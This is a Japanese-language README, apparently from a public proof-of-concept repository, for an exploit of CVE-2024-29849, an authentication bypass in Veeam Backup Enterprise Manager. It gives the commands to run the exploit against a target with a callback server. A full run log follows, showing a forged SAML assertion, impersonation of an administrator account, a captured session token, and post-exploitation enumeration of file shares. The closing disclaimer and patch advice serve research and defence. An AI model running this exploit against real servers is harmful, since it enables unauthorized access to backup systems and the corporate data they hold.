sinsinology/cve-2024-29849Veeam Backup Enterprise Manager の認証バイパス (CVE-2024-29849)
Veeam Backup Enterprise Manager 認証バイパス (CVE-2024-29849) by SummoningTeam (@SummoningTeam) の Sina Kheirkhah (@SinSinology)
Veeam の公式アドバイザリによると、Veeam Backup Enterprise Manager 12.1.2.172 より前のすべてのバージョンが影響を受けます
まず、ローカル HTTPS セットアップ用の適切な設定が必要です。以下のコマンドを使用してください:
openssl req -new -x509 -keyout key.pem -out server.pem -days 365 -nodes
python CVE-2024-29849.py --target https://192.168.253.180:9398/ --callback-server 192.168.253.1:443
_______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______
|______ | | | | | | | | | | | \ | | | \ | | ____ | |______ |_____| | | |
______| |_____| | | | | | | |_____| | \_| __|__ | \_| |_____| . | |______ | | | | |
(*) Veeam Backup Enterprise Manager Authentication Bypass (CVE-2024-29849)
(*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
(*) Technical details: https://summoning.team/blog/veeam-cve-2024-29849-authentication-bypass/
(*) Target https://192.168.253.180:9398 is reachable and seems to be a Veeam Backup Enterprise Manager
(*) Fetching certificate for 192.168.253.180
(*) Common Name (CN) extracted from certificate: batserver.evilcorp.local
(*) Assumed domain name: evilcorp.local
(?) Is the assumed domain name correct(Y/n)?y
(*) Target domain name is: evilcorp.local
(*) Starting callback server
(^_^) Prepare for the Pwnage (^_^)
(*) Callback server listening on https://192.168.253.1:443
192.168.253.1 - - [10/Jun/2024 07:20:13] "GET / HTTP/1.1" 200 -
(*) Callback server 192.168.253.1:443 is reachable
(*) Triggering malicious SAML assertion to https://192.168.253.180:9398
(*) Impersonating user: [email protected]
192.168.253.180 - - [10/Jun/2024 07:20:13] "POST /ims/STSService HTTP/1.1" 200 -
(+) SAML Auth request received, serving malicious RequestSecurityTokenResponseType
(+) Exploit was Successful, authenticated as [email protected]
(*) Got token: MmIzOGVjMzQtZGIxZC00MWE3LTgxNjMtNjA2MTE4ODY5ZDkw
(*) Starting post-exploitation phase
(*) Retrieving the list of file servers
{'FileServers': [{'ServerType': 'SmbServer', 'HierarchyObjRef': 'urn:NasBackup:FileServer:9dee6394-bf7a-4dc6-a9a5-4faf2e22551d.0d4a7862-82cb-4c93-a53b-e500d6cb9e35', 'SmbServerOptions': {'Path': '\\\\192.168.253.134\\corporate-docs', 'CredentialsId': None}, 'NfsServerOptions': None, 'FileServerOptions': None, 'ProcessingOptions': {'ServerUid': 'urn:veeam:FileServer:0d4a7862-82cb-4c93-a53b-e500d6cb9e35', 'CacheRepositoryUid': 'urn:veeam:Repository:88788f9e-d8f5-4eb4-bc4f-9b3f5403bcec'}, 'NASServerAdvancedOptions': {'ProcessingMode': 'Direct', 'StorageSnapshotPath': None}, 'Name': '\\\\192.168.253.134\\corporate-docs', 'UID': 'urn:veeam:FileServer:0d4a7862-82cb-4c93-a53b-e500d6cb9e35', 'Links': [{'Rel': 'Up', 'Href': 'https://192.168.253.180:9398/api/backupServers/e59b6cc4-444e-4a2d-a986-3d4d0b8791de', 'Name': '192.168.253.134', 'Type': 'BackupServerReference'}, {'Rel': 'Alternate', 'Href': 'https://192.168.253.180:9398/api/nas/fileServers/0d4a7862-82cb-4c93-a53b-e500d6cb9e35', 'Name': '\\\\192.168.253.134\\corporate-docs', 'Type': 'FileServerReference'}], 'Href': 'https://192.168.253.180:9398/api/nas/fileServers/0d4a7862-82cb-4c93-a53b-e500d6cb9e35?format=Entity', 'Type': 'FileServer'}]}
最新バージョンに更新するか、Veeam Advisory の指示に従って緩和してください:
本ソフトウェアは、純粋に学術研究と効果的な防御技術の開発を目的として作成されたものであり、明示的に許可された場合を除き、システムへの攻撃に使用することを意図したものではありません。プロジェクト保守者は、本ソフトウェアの誤用について責任を負いません。責任を持って使用してください。